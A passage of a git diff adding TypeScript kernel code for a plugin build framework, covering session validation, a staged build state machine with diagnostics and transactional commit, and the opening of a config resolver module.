/** fields 拒绝旧生命周期方法与未知行为面。 */ + const fields = dataObjectFields(value, new Set([ + 'validateComponent', 'createPackage', 'finalizePackage', 'validatePackage', 'createDistributions', 'close', + ]), `Platform "${id}" Session`); + for (const required of ['createPackage', 'finalizePackage', 'validatePackage']) { + if (typeof fields[required]?.value !== 'function') + throw new TypeError(`Platform "${id}" Session must provide ${required}().`); + } + for (const optional of ['validateComponent', 'createDistributions', 'close']) { + if (fields[optional] !== undefined && typeof fields[optional].value !== 'function') + throw new TypeError(`Platform "${id}" Session ${optional} must be a function.`); + } + return value as PlatformSession; +} + +/** 验证 Extension Session 精确方法面。 */ +function extensionSession(value: unknown, id: string): ExtensionSession { + /** fields 固定 Extension v2 Session 的完整方法面。 */ + const fields = dataObjectFields(value, new Set(['discover', 'validate', 'build', 'contributors', 'close']), `Extension "${id}" Session`); + for (const required of ['discover', 'validate', 'build']) { + if (typeof fields[required]?.value !== 'function') + throw new TypeError(`Extension "${id}" Session must provide ${required}().`); + } + if (!Array.isArray(fields.contributors?.value)) + throw new TypeError(`Extension "${id}" Session must provide contributors.`); + if (fields.close !== undefined && typeof fields.close.value !== 'function') + throw new TypeError(`Extension "${id}" Session close must be a function.`); + return value as ExtensionSession; +} + +/** @returns 报告与 close 共用的首个错误摘要。 */ +function firstFailure(diagnostics: DiagnosticRegistry): FailureSummary | undefined { + /** 同阶段使用 Registry 的稳定排序,跨阶段选择最早的实际生命周期失败。 */ + const failures = diagnostics.diagnostics.filter(diagnostic => diagnostic.severity === 'error'); + /** failure 在稳定诊断顺序相同时按固定 lifecycle phase 决定。 */ + const failure = failures.sort((left, right) => FAILURE_PHASE_ORDER.indexOf(left.phase) - FAILURE_PHASE_ORDER.indexOf(right.phase))[0]; + if (failure === undefined) + return undefined; + return Object.freeze({ code: failure.code, phase: failure.phase, message: failure.message }); +} + +/** 把未预期异常收敛为不包含第三方原始错误的稳定诊断。 */ +function reportFailure( + diagnostics: DiagnosticRegistry, + phase: Parameters[0], + code: string, + message: string, + identity: Parameters[2] = {}, +): void { + diagnostics.report(phase, { code, severity: 'error', message: sanitizeStableText(message) }, identity); +} + +/** Platform 单阶段调用的显式成功/失败联合,避免异常跨阶段重新归类。 */ +type PlatformStageResult = Readonly<{ ok: true; value: T }> | Readonly<{ ok: false }>; + +/** + * 在一个真实 Platform 阶段边界内收敛未知异常。 + * + * @param diagnostics 当前 BuildSession 诊断集合。 + * @param phase 报告中的精确阶段。 + * @param code 当前阶段的稳定错误码。 + * @param message 不包含原始异常的稳定摘要。 + * @param platform 当前 Platform ID。 + * @param action 只执行当前阶段工作的回调。 + * @returns 带显式判别字段的阶段结果。 + */ +async function runPlatformStage( + diagnostics: DiagnosticRegistry, + phase: Parameters[0], + code: string, + message: string, + platform: string, + action: () => T | PromiseLike, +): Promise> { + try { + return Object.freeze({ ok: true as const, value: await action() }); + } catch { + reportFailure(diagnostics, phase, code, message, { owner: `platform:${platform}`, platform }); + return Object.freeze({ ok: false as const }); + } +} + +/** 对 initialized stack 逆序恰好关闭一次并保留首次业务失败优先级。 */ +async function closeIntegrations( + initialized: InitializedIntegration[], + diagnostics: DiagnosticRegistry, + committed: boolean, +): Promise { + /** close 上下文在 cleanup 前固定,cleanup failure 不递归传给后续 close。 */ + const failure = firstFailure(diagnostics); + /** context 不暴露原始异常或物理路径。 */ + const context: IntegrationCloseContext = Object.freeze({ + outcome: failure === undefined ? 'success' : 'failed', + committed, + ...(failure === undefined ? {} : { failure }), + }); + /** 全部已初始化 Integration 即使前一个 close 失败也必须继续关闭。 */ + let failed = false; + for (const integration of initialized.reverse()) { + try { + await integration.session.close?.(context); + } catch { + failed = true; + reportFailure( + diagnostics, + 'cleanup', + integration.kind === 'platform' ? 'PLATFORM_CLOSE_FAILED' : 'EXTENSION_CLOSE_FAILED', + `${integration.kind === 'platform' ? 'Platform' : 'Extension'} "${integration.id}" close failed.`, + integration.kind === 'platform' + ? { owner: `platform:${integration.id}`, platform: integration.id } + : { owner: `extension:${integration.id}`, extension: integration.id }, + ); + } + } + initialized.splice(0); + if (failed) + throw new Error('Integration cleanup failed.'); +} + +/** 向单个选中 Platform 授予 canonical auxiliary 和 Public AssetRef。 */ +function grantProjectAssets(project: CanonicalProject, platform: string, assets: AssetRegistry): void { + /** grantee 与 Platform Session 的 owner identity 完全一致。 */ + const grantee = `platform:${platform}`; + for (const skill of project.skills) { + for (const auxiliary of skill.auxiliaryFiles) + assets.grant('framework:canonical', grantee, auxiliary.asset); + } + for (const file of project.publicFiles) + assets.grant('framework:public', grantee, file.asset); +} + +/** Framework Resource 对当前 Platform 的 add-only Contributions。 */ +function frameworkContributions( + project: CanonicalProject, + runtime: BuiltNodeRuntime | undefined, + platform: PlatformIntegrationDescription, + assets: AssetRegistry, +): readonly OwnedPackageContribution[] { + /** Public 与 Runtime 使用独立 owner,保持来源、冲突和 report 可审计。 */ + const contributions: OwnedPackageContribution[] = []; + if (project.publicFiles.length > 0) { + contributions.push(Object.freeze({ + owner: 'framework:public', + contribution: Object.freeze({ + assets: Object.freeze(project.publicFiles.map(file => Object.freeze({ path: file.path, asset: file.asset }))), + compatibility: Object.freeze([]), + }), + })); + } + if (project.runtime !== undefined) { + /** 支持 Platform 获得相同 GeneratedAssetRef 的显式继承 grant。 */ + if (runtime !== undefined && platformSupportsNodeRuntime(platform)) { + for (const entry of runtime.entries) { + assets.grant('framework:node-runtime', `platform:${platform.id}`, entry.main); + if (entry.licenses !== undefined) + assets.grant('framework:node-runtime', `platform:${platform.id}`, entry.licenses); + } + } + contributions.push(Object.freeze({ + owner: 'framework:node-runtime', + contribution: nodeRuntimeContribution(project.runtime, runtime, platform), + })); + } + return Object.freeze(contributions); +} + +/** + * 分离 Core candidate 物化完整性与 Platform validator 两个错误阶段。 + * + * @param options 当前 Platform、Unit 和 Session-owned Registry。 + * @returns candidate 与 validator 都成功且没有 Platform error 时返回 true。 + */ +async function validatePlatformCandidate(options: { + readonly platform: PlatformRuntime; + readonly unit: PackageUnitSnapshot; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly assets: AssetRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise { + /** id 同时绑定 candidate 临时目录、诊断 owner 和 Platform Session。 */ + const id = options.platform.description.id; + /** 每个平台的 candidate 只能位于其 Core-owned workDir。 */ + const temporaryParent = options.workDirectories.physicalRoot( + `platform:${id}`, + await options.workDirectories.directory(`platform:${id}`), + ); + /** 外层只捕获 candidate materialize、post-validate integrity 与 cleanup failure。 */ + const materialization = await runPlatformStage( + options.diagnostics, + 'materialize', + 'PACKAGE_CANDIDATE_MATERIALIZATION_FAILED', + `Platform "${id}" Package "${options.unit.id}" candidate materialization failed.`, + id, + async () => { + /** validatorSucceeded 让 validator failure 不必冒充 materialization exception。 */ + let validatorSucceeded = true; + await withPackageCandidate(options.unit, options.assets, async (candidate) => { + /** validation 只收敛 Platform callback,本地候选完整性仍交给外层。 */ + const validation = await runPlatformStage( + options.diagnostics, + 'platform-validate', + 'PLATFORM_VALIDATE_PACKAGE_FAILED', + `Platform "${id}" Package "${options.unit.id}" validation failed.`, + id, + () => options.platform.session.validatePackage(Object.freeze({ + command: options.command, + mode: options.mode, + candidate, + diagnostics: options.diagnostics.service('platform-validate', { owner: `platform:${id}`, platform: id }), + })), + ); + /** Platform 自己报告 error 而未 throw 时也必须阻止当前 Unit 成功。 */ + validatorSucceeded = validation.ok && !platformHasErrors(options.diagnostics, id); + }, temporaryParent); + return validatorSucceeded; + }, + ); + return materialization.ok && materialization.value && !platformHasErrors(options.diagnostics, id); +} + +/** 建立 Component 的稳定报告列表。 */ +function componentReports(project: CanonicalProject): BuildReport['components'] { + return Object.freeze([...project.commands, ...project.skills, ...project.agents].map(component => Object.freeze({ + kind: component.kind, + id: component.id, + location: Object.freeze({ path: component.location.path, line: component.location.bodyLine }), + }))); +} + +/** 在独立临时根复核全部 Unit 的 aggregate materialization closure。 */ +async function validateCompleteMaterialization( + units: readonly PackageUnitSnapshot[], + assets: AssetRegistry, + workRoot: string, +): Promise { + /** complete candidate 使用当前 BuildSession workRoot 下的独立临时根。 */ + const root = await fs.mkdtemp(path.join(workRoot, 'complete-')); + try { + /** materialized 索引用于复核 aggregate Unit closure。 */ + const materialized = await materializePackageUnits(root, units, assets); + await validatePackageUnits(root, units, materialized); + } finally { + await fs.rm(root, { recursive: true, force: true }); + } +} + +/** + * 执行 Kernel v2 唯一 one-shot BuildSession state machine。 + * + * @param input 已解析配置、选择和事务控制。 + * @returns immutable BuildReport 及 Dev 使用的 Watch snapshot。 + */ +export async function runKernelBuildSession(input: KernelBuildSessionInput): Promise { + /** environment 是否由本次 direct Core 调用创建并负责释放。 */ + const ownEnvironment = input.environment === undefined; + /** 配置 loader 传入的 environment 保证 Config 与 Build 共用一组 Host。 */ + const environment = input.environment ?? await createKernelBuildEnvironment(input.config.projectRoot); + /** 所有 Host/Registry 只从当前唯一 environment 取得。 */ + const { assets, compiler, diagnostics, execution, modules, sources, watch, workDirectories } = environment; + /** 所有报告集合先以空状态存在,确保任一 Kernel 阶段失败仍可形成报告。 */ + let project: CanonicalProject = Object.freeze({ + metadata: input.config.metadata, + commands: Object.freeze([]), skills: Object.freeze([]), agents: Object.freeze([]), publicFiles: Object.freeze([]), + }); + /** setup 成功即压栈,最终只通过 closeIntegrations 消费。 */ + const initialized: InitializedIntegration[] = []; + /** 选中 Platform 在 setup 前完成纯选择校验。 */ + let selected: readonly ResolvedPlatform[] = Object.freeze([]); + /** selection 失败属于唯一阻止 Integration setup 的 config 前置错误。 */ + let selectionValid = true; + /** setup 成功的平台与扩展运行时。 */ + const platforms: PlatformRuntime[] = []; + /** Extension 运行时保持配置顺序。 */ + const extensions: ExtensionRuntime[] = []; + /** Extension 各阶段报告状态。 */ + const extensionReports = new Map(); + /** validated consumer plans 和 built state 在所有 Platform 间共享。 */ + const plans: ExtensionConsumerPlan[] = []; + /** Built State 不允许由其他 Extension 读取。 */ + const built: BuiltExtensionState[] = []; + /** 每个 plan 的 skipped/built/failed 状态阻止 missing State 被误归为 Platform failure。 */ + const planBuilds: ExtensionPlanBuildStatus[] = []; + /** Runtime Built State 只由 Framework contribution 读取。 */ + let builtRuntime: BuiltNodeRuntime | undefined; + /** 完成 primary/distribution candidate 校验的最终 Units。 */ + const units: PackageUnitSnapshot[] = []; + /** 报告中精确标记 validated candidate 的 Unit key。 */ + const validatedPackages = new Set(); + /** 每个 Platform 是否完成全部 package stages。 */ + const platformSucceeded = new Set(); + /** Compatibility Registry 必须等 Project Graph 固定后再创建。 */ + let compatibility: ReturnType = Object.freeze({ compatibility: Object.freeze([]), metadata: Object.freeze([]) }); + /** committed 只在 transaction afterSwap close 全部成功后变为 true。 */ + let committed = false; + /** 防止 commit afterSwap 和 finally cleanup 重复关闭。 */ + let integrationsClosed = false; + + try { + try { + selected = selectPlatforms(input.config, input.selection); + } catch { + selectionValid = false; + reportFailure(diagnostics, 'config', 'PLATFORM_SELECTION_INVALID', 'Selected Platforms are invalid.'); + } + /** integrations snapshot 在任何 factory 调用前固定。 */ + const platformDescriptions = selected.map(platformDescription); + /** Extension descriptions 与 Platform descriptions 共同形成只读 setup 视图。 */ + const extensionDescriptions = input.config.extensions.map(extensionDescription); + /** integrations 不包含 Session 或可变配置引用。 */ + const integrations: readonly IntegrationDescription[] = Object.freeze([...platformDescriptions, ...extensionDescriptions]); + /** setup Context 不暴露物理路径或 mutable config。 */ + const summary: ResolvedConfigSummary = Object.freeze({ + metadata: input.config.metadata, + command: input.config.command, + mode: input.config.mode, + strict: input.config.strict, + }); + + /** Platform Session 必须先按配置顺序逐一创建。 */ + for (const [index, resolved] of selected.entries()) { + /** description 与当前 resolved Platform 使用相同配置槽位。 */ + const description = platformDescriptions[index]!; + try { + /** session 一经 shape 校验即进入 initialized close stack。 */ + const session = platformSession(await resolved.definition.createSession(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + options: resolved.definition.options ?? Object.freeze({}), + config: summary, + integrations, + })), resolved.definition.id); + platforms.push(Object.freeze({ resolved, description, session })); + initialized.push(Object.freeze({ kind: 'platform', id: resolved.definition.id, session })); + } catch { + reportFailure(diagnostics, 'setup', 'PLATFORM_SETUP_FAILED', `Platform "${resolved.definition.id}" setup failed.`, { + owner: `platform:${resolved.definition.id}`, platform: resolved.definition.id, + }); + } + } + /** Extension Session 在 Platform setup 尝试结束后按配置顺序独立创建。 */ + if (selectionValid) { + for (const [index, definition] of input.config.extensions.entries()) { + /** description 与当前 Extension 使用相同配置槽位。 */ + const description = extensionDescriptions[index]!; + try { + /** session 一经 shape 校验即进入 initialized close stack。 */ + const session = extensionSession(await definition.createSession(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + options: definition.options ?? Object.freeze({}), + config: summary, + integrations, + })), definition.id); + extensions.push(Object.freeze({ definition, description, session })); + initialized.push(Object.freeze({ kind: 'extension', id: definition.id, session })); + extensionReports.set(definition.id, Object.freeze({ id: definition.id, discovered: false, subjects: Object.freeze([]) })); + } catch { + reportFailure(diagnostics, 'setup', 'EXTENSION_SETUP_FAILED', `Extension "${definition.id}" setup failed.`, { + owner: `extension:${definition.id}`, extension: definition.id, + }); + } + } + } + + if (selectionValid) { + /** Resource claims 固定 canonical/runtime/Extension root ownership。 */ + const claims = await new ResourceRegistry({ config: input.config, sources, watch, diagnostics }).claim(); + /** 独立 Resource discover 共享 registries,但不共享 mutable State。 */ + const canonicalPromise = discoverCanonicalProject({ + metadata: input.config.metadata, + platformIds: selected.map(platform => platform.definition.id), + claims, + sources, + assets, + diagnostics, + }); + /** Public Provider 与 canonical/runtime discover 并行且无共享 mutable state。 */ + const publicPromise = discoverPublicResources({ config: input.config, sources, assets, watch, diagnostics }); + /** Runtime Provider 当前只发现 framework-owned entry state。 */ + const runtimePromise = discoverNodeRuntime({ + ...(claims.runtime === undefined ? {} : { root: claims.runtime }), + config: input.config.runtime, + sources, + diagnostics, + }); + /** 每个 Extension discover 独立捕获并绑定自己的失败身份。 */ + const discoveredExtensions = extensions.map(async (runtime) => { + try { + /** discovered State 立即通过 Extension Provider 建立 owner-bound snapshot。 */ + const discovered = await discoverExtension({ + extension: runtime.definition, + session: runtime.session, + roots: claims.extensions[runtime.definition.id] ?? Object.freeze({}), + command: input.config.command, + mode: input.config.mode, + sources, + assets, + modules: modules.service(`extension:${runtime.definition.id}`), + diagnostics, + }); + /** discover 主动报告 error 与 throw 使用相同失败语义。 */ + if (hasMatchingError(diagnostics, item => item.extension === runtime.definition.id)) + return Object.freeze({ runtime, discovered: undefined }); + return Object.freeze({ runtime, discovered }); + } catch { + reportFailure(diagnostics, 'discover', 'EXTENSION_DISCOVER_FAILED', `Extension "${runtime.definition.id}" discover failed.`, { + owner: `extension:${runtime.definition.id}`, extension: runtime.definition.id, + }); + return Object.freeze({ runtime, discovered: undefined }); + } + }); + /** 聚合只按 Promise 输入槽位读取,不观察完成顺序。 */ + const [canonical, publicFiles, runtime, discovered] = await Promise.all([ + canonicalPromise, publicPromise, runtimePromise, Promise.all(discoveredExtensions), + ]); + /** 唯一 Project Graph 在全部 Resource discover 后一次性冻结。 */ + project = assembleProjectGraph(canonical, publicFiles, runtime); + + /** Stage 5 对每个 canonical Component/selected Platform 恰好调用一次 hook。 */ + const components = [...project.commands, ...project.skills, ...project.agents]; + /** 独立验证并行运行,诊断由 Registry 稳定排序。 */ + await Promise.all(platforms.flatMap(platform => components.map(async (component) => { + try { + await platform.session.validateComponent?.(Object.freeze({ + project, + component, + diagnostics: diagnostics.service('validate', { + owner: `platform:${platform.description.id}`, + platform: platform.description.id, + component: { kind: component.kind, id: component.id }, + }), + })); + } catch { + reportFailure(diagnostics, 'validate', 'PLATFORM_COMPONENT_VALIDATION_FAILED', + `Platform "${platform.description.id}" could not validate ${component.kind} "${component.id}".`, { + owner: `platform:${platform.description.id}`, + platform: platform.description.id, + component: { kind: component.kind, id: component.id }, + }); + } + }))); + + /** Extension validate 只运行实际发现了作者资源的 State。 */ + const validated = await Promise.all(discovered.map(async ({ runtime: extension, discovered: state }) => { + if (state === undefined) + return undefined; + try { + /** result 立即跨越 Extension State snapshot 与 subject contract。 */ + const result = await validateExtension({ + discovered: state, + session: extension.session, + project, + command: input.config.command, + mode: input.config.mode, + sources, + assets, + diagnostics, + }); + extensionReports.set(extension.definition.id, Object.freeze({ + id: extension.definition.id, + discovered: true, + subjects: result.subjects, + })); + if (hasMatchingError(diagnostics, diagnostic => diagnostic.extension === extension.definition.id)) + return undefined; + return Object.freeze({ runtime: extension, validated: result }); + } catch { + reportFailure(diagnostics, 'validate', 'EXTENSION_VALIDATE_FAILED', `Extension "${extension.definition.id}" validate failed.`, { + owner: `extension:${extension.definition.id}`, extension: extension.definition.id, + }); + return undefined; + } + })); + + /** consumer preflight 在 build 前固定 missing contributor/skip 语义。 */ + for (const item of validated) { + if (item === undefined) + continue; + try { + plans.push(preflightExtensionConsumers({ + validated: item.validated, + session: item.runtime.session, + platforms: platformDescriptions, + })); + } catch { + reportFailure(diagnostics, 'validate', 'EXTENSION_CONTRIBUTOR_INVALID', `Extension "${item.runtime.definition.id}" contributors are invalid.`, { + owner: `extension:${item.runtime.definition.id}`, extension: item.runtime.definition.id, + }); + } + } + + /** Stage 6 只构建拥有至少一个 consumer 的 Extension。 */ + const buildResults = await Promise.all(plans.map(async (plan) => { + if (!plan.requiresBuild) + return Object.freeze({ plan, status: 'skipped' as const }); + /** runtime 仅用于取得当前 plan 自己的 Session。 */ + const runtime = extensions.find(item => item.definition.id === plan.extension.id)!; + try { + /** result 在写入 shared built array 前保持 plan 槽位顺序。 */ + const result = await buildExtension({ + plan, + session: runtime.session, + project, + command: input.config.command, + mode: input.config.mode, + compiler: await compiler.service(`extension:${plan.extension.id}`), + execution: execution.service(`extension:${plan.extension.id}`), + assets, + sources, + diagnostics, + }); + return hasMatchingError(diagnostics, diagnostic => diagnostic.extension === plan.extension.id) || result === undefined + ? Object.freeze({ plan, status: 'failed' as const }) + : Object.freeze({ plan, status: 'built' as const, built: result }); + } catch { + reportFailure(diagnostics, 'compile', 'EXTENSION_BUILD_FAILED', `Extension "${plan.extension.id}" build failed.`, { + owner: `extension:${plan.extension.id}`, extension: plan.extension.id, + }); + return Object.freeze({ plan, status: 'failed' as const }); + } + })); + planBuilds.push(...buildResults); + built.push(...buildResults + .filter((value): value is Extract => value.status === 'built') + .map(value => value.built)); + + /** Runtime 只在至少一个选中且已 setup Platform 声明能力时编译一次。 */ + if (project.runtime !== undefined && platforms.some(platform => platformSupportsNodeRuntime(platform.description))) { + try { + builtRuntime = await buildNodeRuntime(project.runtime, await compiler.service('framework:node-runtime')); + } catch { + reportFailure(diagnostics, 'compile', 'NODE_RUNTIME_BUILD_FAILED', 'Node Runtime compilation failed.', { + owner: 'framework:node-runtime', + }); + } + } + + /** Package stages 对 selected Platforms 独立执行;报告合并按稳定键完成。 */ + const projectFailed = projectHasErrors(diagnostics); + /** packageResults 保留 Platform 配置槽位,与并发完成顺序无关。 */ + const packageResults = await Promise.all(platforms.map(async (platform) => { + /** id 同时绑定 Context owner、诊断和最终 Package namespace。 */ + const id = platform.description.id; + /** 工程级或本 Platform validation 失败不影响其他独立 Platform。 */ + if (projectFailed || platformHasErrors(diagnostics, id) || platformConsumesFailedExtension(id, planBuilds)) + return undefined; + /** createPackage 与 base snapshot validation 属于 package 阶段。 */ + const created = await runPlatformStage( + diagnostics, + 'package', + 'PLATFORM_CREATE_PACKAGE_FAILED', + `Platform "${id}" createPackage failed.`, + id, + async () => { + grantProjectAssets(project, id, assets); + return createBasePackage(id, await platform.session.createPackage(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + project, + compiler: await compiler.service(`platform:${id}`), + assets: assets.service(`platform:${id}`), + diagnostics: diagnostics.service('package', { owner: `platform:${id}`, platform: id }), + })), assets); + }, + ); + if (!created.ok || platformHasErrors(diagnostics, id)) + return undefined; + /** Contributor collection、Framework contribution 与集中 merge 共用 contribute 边界。 */ + const contributed = await runPlatformStage( + diagnostics, + 'contribute', + 'PLATFORM_CONTRIBUTION_FAILED', + `Platform "${id}" Package contribution failed.`, + id, + async () => { + /** Extension Contribution 全部读取 created.value 的同一对象身份。 */ + const extensionContributions = await collectExtensionContributions({ + platform: platform.description, + base: created.value, + project, + command: input.config.command, + mode: input.config.mode, + plans, + built, + assets, + diagnostics, + }); + return mergePackageContributions(id, created.value, [ + ...frameworkContributions(project, builtRuntime, platform.description, assets), + ...extensionContributions, + ], assets); + }, + ); + if (!contributed.ok || platformHasErrors(diagnostics, id)) + return undefined; + /** Platform finalization 只确定主 Package 身份并追加 Platform Asset。 */ + const finalized = await runPlatformStage( + diagnostics, + 'finalize', + 'PLATFORM_FINALIZE_PACKAGE_FAILED', + `Platform "${id}" primary Package finalization failed.`, + id, + async () => finalizePrimaryPackage(id, platform.resolved.definition.deliveryType, contributed.value, + await platform.session.finalizePackage(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + project, + package: contributed.value, + compiler: await compiler.service(`platform:${id}`), + assets: assets.service(`platform:${id}`), + diagnostics: diagnostics.service('finalize', { owner: `platform:${id}`, platform: id }), + })), assets), + ); + if (!finalized.ok || platformHasErrors(diagnostics, id)) + return undefined; + if (!await validatePlatformCandidate({ + platform, + unit: finalized.value, + command: input.config.command, + mode: input.config.mode, + assets, + workDirectories, + diagnostics, + })) + return undefined; + /** Distribution creation 是从已验证 primary 派生的 finalization 子阶段。 */ + const distributions = await runPlatformStage( + diagnostics, + 'finalize', + 'PLATFORM_FINALIZE_PACKAGE_FAILED', + `Platform "${id}" Distribution finalization failed.`, + id, + async () => platform.session.createDistributions === undefined + ? Object.freeze([]) + : collectDistributionPackages({ + platform: id, + primary: finalized.value, + assets, + /** create callback 不暴露 Registry,只委托当前 Platform Session。 */ + create: scopedAssets => Promise.resolve(platform.session.createDistributions!(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + project, + primary: finalized.value, + assets: scopedAssets, + diagnostics: diagnostics.service('finalize', { owner: `platform:${id}`, platform: id }), + }))), + }), + ); + if (!distributions.ok || platformHasErrors(diagnostics, id)) + return undefined; + for (const distribution of distributions.value) { + if (!await validatePlatformCandidate({ + platform, + unit: distribution, + command: input.config.command, + mode: input.config.mode, + assets, + workDirectories, + diagnostics, + })) + return undefined; + } + return Object.freeze({ + platform, + merged: contributed.value, + units: Object.freeze([finalized.value, ...distributions.value]), + }); + })); + + /** 每个 Platform 独立完成 compatibility graph,错误不抑制其他 Platform。 */ + const compatibilityEntries: typeof compatibility.compatibility[number][] = []; + /** metadata dispositions 与 compatibility 使用相同 Platform 隔离。 */ + const metadataEntries: typeof compatibility.metadata[number][] = []; + for (const result of packageResults) { + if (result === undefined) + continue; + units.push(...result.units); + for (const unit of result.units) + validatedPackages.add(`${unit.platform}/${unit.id}`); + /** id 固定当前独立 compatibility Registry 的 Platform identity。 */ + const id = result.platform.description.id; + try { + /** registry 只接收当前 Platform 的 graph,避免跨平台失败抑制。 */ + const registry = new CompatibilityRegistry({ project, diagnostics }); + registry.addCompatibility(id, result.merged.compatibility); + registry.addMetadata(id, result.merged.metadata); + /** finalized 在完整当前 Platform graph 上执行一次 strictness。 */ + const finalized = registry.finalize([Object.freeze({ id, strict: result.platform.resolved.strict })]); + compatibilityEntries.push(...finalized.compatibility); + metadataEntries.push(...finalized.metadata); + if (!platformHasErrors(diagnostics, id)) + platformSucceeded.add(id); + } catch { + reportFailure(diagnostics, 'compatibility', 'COMPATIBILITY_FINALIZATION_FAILED', + `Platform "${id}" compatibility finalization failed.`, { platform: id, owner: `platform:${id}` }); + } + } + compatibility = Object.freeze({ + compatibility: Object.freeze(compatibilityEntries), + metadata: Object.freeze(metadataEntries), + }); + /** 无 commit 或已有错误时不会进入 transaction,必须在此完成 aggregate 复核。 */ + if (!input.commit || diagnostics.hasErrors) { + try { + await validateCompleteMaterialization(units, assets, environment.workRoot); + } catch { + reportFailure(diagnostics, 'materialize', 'PACKAGE_MATERIALIZATION_FAILED', 'Complete Package materialization failed.'); + } + } + } + + /** validate/inspect 已由 Project 层强制 commit=false;错误报告也绝不进入事务。 */ + if (input.commit && !diagnostics.hasErrors) { + try { + await commitPackageUnits(input.config.outDirectory, units, assets, { + projectRoot: input.config.projectRoot, + scope: input.selection === undefined + ? Object.freeze({ type: 'full' as const }) + : Object.freeze({ type: 'subset' as const, platforms: Object.freeze(selected.map(item => item.definition.id)) }), + /** close 属于 swap 后仍可 rollback 的 commit 必要条件。 */ + afterSwap: async () => { + try { + await closeIntegrations(initialized, diagnostics, true); + } finally { + /** stack 已消费,即使 close 失败也不能在 rollback 后重复调用。 */ + integrationsClosed = true; + } + }, + }); + committed = true; + } catch { + if (!diagnostics.diagnostics.some(item => item.phase === 'cleanup')) + reportFailure(diagnostics, 'transaction', 'TRANSACTION_FAILED', 'Managed output transaction failed.'); + } + } + } catch { + reportFailure(diagnostics, 'internal', 'INTERNAL_ERROR', 'The Kernel could not complete the BuildSession.'); + } finally { + if (!integrationsClosed) { + try { + await closeIntegrations(initialized, diagnostics, false); + } catch { + /** closeIntegrations 已记录每个 cleanup failure。 */ + } + } + } + + /** Platform/Extension 未 setup 或未选中状态也必须显式出现在稳定报告。 */ + for (const extension of input.config.extensions) { + if (!extensionReports.has(extension.id)) + extensionReports.set(extension.id, Object.freeze({ id: extension.id, discovered: false, subjects: Object.freeze([]) })); + } + /** selectedIds 用于报告配置中未选 Platform 的显式状态。 */ + const selectedIds = new Set(selected.map(platform => platform.definition.id)); + /** platformReports 从配置全集稳定投影,不从成功 Unit 反推选择状态。 */ + const platformReports: PlatformReport[] = input.config.platforms.map(platform => Object.freeze({ + id: platform.definition.id, + selected: selectedIds.has(platform.definition.id), + success: platformSucceeded.has(platform.definition.id) && !diagnostics.diagnostics.some(item => item.platform === platform.definition.id && item.severity === 'error'), + packageIds: Object.freeze(units.filter(unit => unit.platform === platform.definition.id).map(unit => unit.id).sort(compareCodePoints)), + })); + /** BuildSession 成功同时要求无诊断、全部选中 Platform 成功和必要提交完成。 */ + const success = !diagnostics.hasErrors + && selected.every(platform => platformSucceeded.has(platform.definition.id)) + && (!input.commit || committed); + /** Report 必须在 capability scope 撤销和 workDir 删除前读取 Asset provenance。 */ + const report = createBuildReport({ + frameworkVersion: input.frameworkVersion, + compilerVersion: (await compiler.service('framework:report')).engine.version, + success, + command: input.config.command, + mode: input.config.mode, + committed, + components: componentReports(project), + runtimes: Object.freeze((project.runtime?.entries ?? []).map(entry => Object.freeze({ + id: entry.id, kind: entry.kind, location: Object.freeze({ path: entry.source.path }), + built: builtRuntime?.entries.some(candidate => candidate.id === entry.id) ?? false, + }))), + extensions: Object.freeze([...extensionReports.values()]), + platforms: Object.freeze(platformReports), + packages: Object.freeze(units), + validatedPackages: Object.freeze([...validatedPackages]), + compatibility: compatibility.compatibility, + metadata: compatibility.metadata, + diagnostics: diagnostics.diagnostics, + assets, + }); + /** Watch snapshot 在关闭 capability scope 前完成不可变复制。 */ + const watchSnapshot = watch.snapshot(); + if (ownEnvironment) + await disposeKernelBuildEnvironment(environment); + return Object.freeze({ report, watch: watchSnapshot }); +} + +/** Project 层规范化 one-shot command/mode/commit defaults。 */ +export function normalizeProjectRunOptions(options: ProjectRunOptions = {}): { + readonly command: Exclude; + readonly mode: BuildMode; + readonly selection?: readonly string[]; + readonly commit: boolean; +} { + /** command 缺省为唯一可提交的一次性 build。 */ + const command = options.command ?? 'build'; + if (command !== 'validate' && command !== 'inspect' && command !== 'build') + throw new TypeError('Project command must be validate, inspect or build.'); + /** mode 只进入 ConfigEnvironment,不改变 command/commit 规则。 */ + const mode = options.mode ?? 'production'; + if (mode !== 'development' && mode !== 'production') + throw new TypeError('Project mode must be development or production.'); + if (options.commit !== undefined && typeof options.commit !== 'boolean') + throw new TypeError('Project commit must be boolean.'); + return Object.freeze({ + command, + mode, + ...(options.platforms === undefined ? {} : { selection: Object.freeze([...options.platforms]) }), + commit: command === 'build' && (options.commit ?? true), + }); +} diff --git a/packages/core/src/kernel/config-resolver.ts b/packages/core/src/kernel/config-resolver.ts new file mode 100644 index 0000000..9c0b768 --- /dev/null +++ b/packages/core/src/kernel/config-resolver.ts @@ -0,0 +1,557 @@ +import path from 'node:path'; +import semver from 'semver'; +import parseSpdxExpression from 'spdx-expression-parse'; +import type { + AcpluginExtension, + AcpluginPlatform, + BuildMode, + ConfigCommand, + PluginAuthor, + PluginMetadata, + PortableNodeCompileOptions, + PublicCopyRule, +} from '../kernel-types.js'; +import { isAcpluginExtension, isAcpluginPlatform } from '../kernel-contracts.js'; +import { normalizePortableOptions } from '../compiler/portable-options.js'; +import { DiagnosticRegistry } from './diagnostic-registry.js'; +import { isInsidePath, safeRelativePath } from './path-policy.js'; + +/** Kernel 使用的绝对路径 Public copy rule。 */ +export interface ResolvedPublicCopyRule extends PublicCopyRule { + readonly source: string; +} + +/** Kernel 使用的完整 Public 配置。 */ +export interface ResolvedPublicConfig { + readonly enabled: boolean; + readonly directory: string; + readonly copy?: readonly ResolvedPublicCopyRule[]; +} + +/** Kernel 使用的内建 Runtime 配置。 */ +export interface ResolvedRuntimeConfig { + readonly enabled: boolean; + readonly directory: string; + readonly target: 'node20'; + readonly entries?: Readonly>>; + readonly compile?: PortableNodeCompileOptions; +} + +/** 带最终 strictness 的选中 Platform。 */ +export interface ResolvedPlatform { + readonly definition: AcpluginPlatform; + readonly strict: boolean; +} + +/** 不向 SDK 暴露物理路径的 Kernel 私有最终配置。 */ +export interface ResolvedKernelConfig { + readonly projectRoot: string; + readonly configFile: string; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly metadata: 